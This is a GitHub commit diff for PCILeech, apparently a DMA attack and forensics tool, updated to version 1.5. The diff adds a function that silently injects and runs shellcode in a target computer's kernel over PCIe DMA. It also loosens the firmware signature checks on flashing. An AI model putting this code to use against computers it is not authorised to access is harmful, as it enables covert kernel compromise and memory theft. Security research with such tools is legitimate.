-
-
Notifications
You must be signed in to change notification settings - Fork 769
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
23 changed files
with
353 additions
and
159 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,6 @@ | ||
// cpuflash.c : implementation related to 8051 CPU and EEPROM flashing. | ||
// | ||
// (c) Ulf Frisk, 2016 | ||
// (c) Ulf Frisk, 2016, 2017 | ||
// Author: Ulf Frisk, [email protected] | ||
// | ||
#include "cpuflash.h" | ||
|
@@ -14,7 +14,7 @@ VOID ActionFlash(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) | |
printf("Flash failed: failed to open file or invalid size\n"); | ||
return; | ||
} | ||
if(pCfg->pbIn[0] != 0x5a || *(WORD*)(pCfg->pbIn + 2) > (DWORD)pCfg->cbIn - 1) { | ||
if(!pCfg->fForceRW && (pCfg->pbIn[0] != 0x5a || *(WORD*)(pCfg->pbIn + 2) > (DWORD)pCfg->cbIn - 1)) { | ||
printf("Flash failed: invalid firmware signature or size\n"); | ||
return; | ||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,6 @@ | ||
// device.c : implementation related to the USB3380 hardware device. | ||
// | ||
// (c) Ulf Frisk, 2016 | ||
// (c) Ulf Frisk, 2016, 2017 | ||
// Author: Ulf Frisk, [email protected] | ||
// | ||
#include "device.h" | ||
|
@@ -251,9 +251,6 @@ BOOL DeviceFlashEEPROM(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbEEPROM, _In_ | |
if(cbEEPROM < 3 || cbEEPROM > 0x7FFF) { | ||
return FALSE; // too small or too large for 2 byte addressing mode | ||
} | ||
if(pbEEPROM[0] != 0x5a || (pbEEPROM[1] & 0xf8) != 0x00) { | ||
return FALSE; // rudimentary signature sanity check | ||
} | ||
while(wAddr < cbEEPROM) { | ||
// initialize EEPROM for writing | ||
DeviceWriteCsr(pDeviceData, 0x260, 0x0000c000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // write enable | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,6 @@ | ||
// executor.c : implementation related 'code execution' and 'console redirect' functionality. | ||
// | ||
// (c) Ulf Frisk, 2016 | ||
// (c) Ulf Frisk, 2016, 2017 | ||
// Author: Ulf Frisk, [email protected] | ||
// | ||
#include "executor.h" | ||
|
@@ -189,6 +189,65 @@ VOID Exec_CallbackClose(_In_ HANDLE hCallback) | |
LocalFree(ph); | ||
} | ||
|
||
BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut) | ||
{ | ||
PKMDDATA pk; | ||
BOOL result = FALSE; | ||
DWORD cbBuffer; | ||
PBYTE pbBuffer = NULL; | ||
PKMDEXEC pKmdExec = NULL; | ||
//------------------------------------------------ | ||
// 1: Setup and initial validity checks. | ||
//------------------------------------------------ | ||
if(!pDeviceData->KMDHandle) { goto fail; } | ||
pk = ((PKMDHANDLE)pDeviceData->KMDHandle)->status; | ||
result = Util_LoadKmdExecShellcode(szShellcodeName, &pKmdExec); | ||
if(!result) { goto fail; } | ||
cbBuffer = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode) + SIZE_PAGE_ALIGN_4K(cbIn); | ||
if(!result || (pk->DMASizeBuffer < cbBuffer)) { result = FALSE; goto fail; } | ||
pbBuffer = LocalAlloc(LMEM_ZEROINIT, cbBuffer); | ||
if(!pbBuffer) { result = FALSE; goto fail; } | ||
//------------------------------------------------ | ||
// 2: Set up shellcode and indata and write to target memory. | ||
// X, Y = page aligned. | ||
// [0 , Y [ = shellcode | ||
// [Y , X [ = data in (to target computer) | ||
// [X , buf_max [ = data out (from target computer) | ||
//------------------------------------------------ | ||
memcpy(pbBuffer, pKmdExec->pbShellcode, pKmdExec->cbShellcode); | ||
memcpy(pbBuffer + SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode), pbIn, cbIn); | ||
result = DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical, pbBuffer, cbBuffer, PCILEECH_MEM_FLAG_RETRYONFAIL); | ||
if(!result) { goto fail; } | ||
pk->dataInExtraOffset = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode); | ||
pk->dataInExtraLength = cbIn; | ||
pk->dataInExtraLengthMax = SIZE_PAGE_ALIGN_4K(cbIn); | ||
pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax; | ||
pk->dataOutExtraLength = 0; | ||
pk->dataOutExtraLengthMax = pk->DMASizeBuffer - pk->dataOutExtraOffset; | ||
//------------------------------------------------ | ||
// 3: Execute! | ||
//------------------------------------------------ | ||
KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_VOID); | ||
result = KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_EXEC); | ||
if(!result || pk->dataOut[0] || (pk->dataOutExtraLength > pk->dataOutExtraLengthMax)) { | ||
result = FALSE; | ||
goto fail; | ||
} | ||
//------------------------------------------------ | ||
// 5: Display/Write additional output. | ||
//------------------------------------------------ | ||
if(pcbOut) { | ||
*pcbOut = pk->dataOutExtraLength; | ||
*ppbOut = (PBYTE)LocalAlloc(0, SIZE_PAGE_ALIGN_4K(*pcbOut)); | ||
if(!*ppbOut) { result = FALSE; goto fail; } | ||
result = DeviceReadDMA(pDeviceData, pk->DMAAddrPhysical + pk->dataOutExtraOffset, *ppbOut, SIZE_PAGE_ALIGN_4K(*pcbOut), 0); | ||
} | ||
fail: | ||
LocalFree(pKmdExec); | ||
LocalFree(pbBuffer); | ||
return result; | ||
} | ||
|
||
VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) | ||
{ | ||
const DWORD CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT = 8192; | ||
|
@@ -318,8 +377,8 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) | |
} | ||
printf("\n"); | ||
fail: | ||
if(szBufferText) { LocalFree(pKmdExec); } | ||
if(szBufferText) { LocalFree(pbBuffer); } | ||
if(szBufferText) { LocalFree(szBufferText); } | ||
LocalFree(pKmdExec); | ||
LocalFree(pbBuffer); | ||
LocalFree(szBufferText); | ||
if(hFile) { CloseHandle(hFile); } | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,6 @@ | ||
// executor.h : definitions related to 'code execution' and 'console redirect' functionality. | ||
// | ||
// (c) Ulf Frisk, 2016 | ||
// (c) Ulf Frisk, 2016, 2017 | ||
// Author: Ulf Frisk, [email protected] | ||
// | ||
#ifndef __EXECUTOR_H__ | ||
|
@@ -25,6 +25,23 @@ VOID Exec_Callback(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ PKMDDA | |
*/ | ||
VOID Exec_CallbackClose(_In_ HANDLE hCallback); | ||
|
||
/* | ||
* Execute specified shellcode silently (do not display anything on-screen). | ||
* This function is to be called internally by PCILeech functionality that | ||
* require more advanced kernel functionality than the core implant is able | ||
* to provide. | ||
* -- pCfg | ||
* -- pDeviceData | ||
* -- szShellcodeName | ||
* -- pbIn = binary data to send to shellcode executing on the target. | ||
* -- cbIn | ||
* -- ppbOut = ptr to receive allocated buffer containing the result. | ||
* Callers responsibility to call LocalFree(*ppbOut). | ||
* -- pcbOut | ||
* -- result | ||
*/ | ||
BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut); | ||
|
||
/* | ||
* Try to execute a shellcode module in the target system kernel. This function | ||
* requires a KMD to be loaded. The KMD is then used to load and execute the | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -103,7 +103,7 @@ VOID Help_ShowGeneral() | |
" -kmd : address of already loaded kernel module helper (KMD). \n" \ | ||
" ALTERNATIVELY \n" \ | ||
" kernel module to use, see list below for choices: \n" \ | ||
" WIN10_X64 (WARNING! Unstable/Experimental) \n" \ | ||
" WIN10_X64 \n" \ | ||
" LINUX_X64 (NB! Kernels below 4.8 only) \n" \ | ||
" LINUX_X64_EFI (NB! EFI/UEFI booted systems only) \n" \ | ||
" FREEBSD_X64 \n" \ | ||
|
@@ -124,7 +124,7 @@ VOID Help_ShowInfo() | |
printf( | ||
" PCILEECH INFORMATION \n" \ | ||
" PCILeech (c) 2016, 2017 Ulf Frisk \n" \ | ||
" Version: 1.4.1 \n" \ | ||
" Version: 1.5 \n" \ | ||
" License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 \n" \ | ||
" Contact information: [email protected] \n" \ | ||
" System requirements: 64-bit Windows 7, 10 or later. \n" \ | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.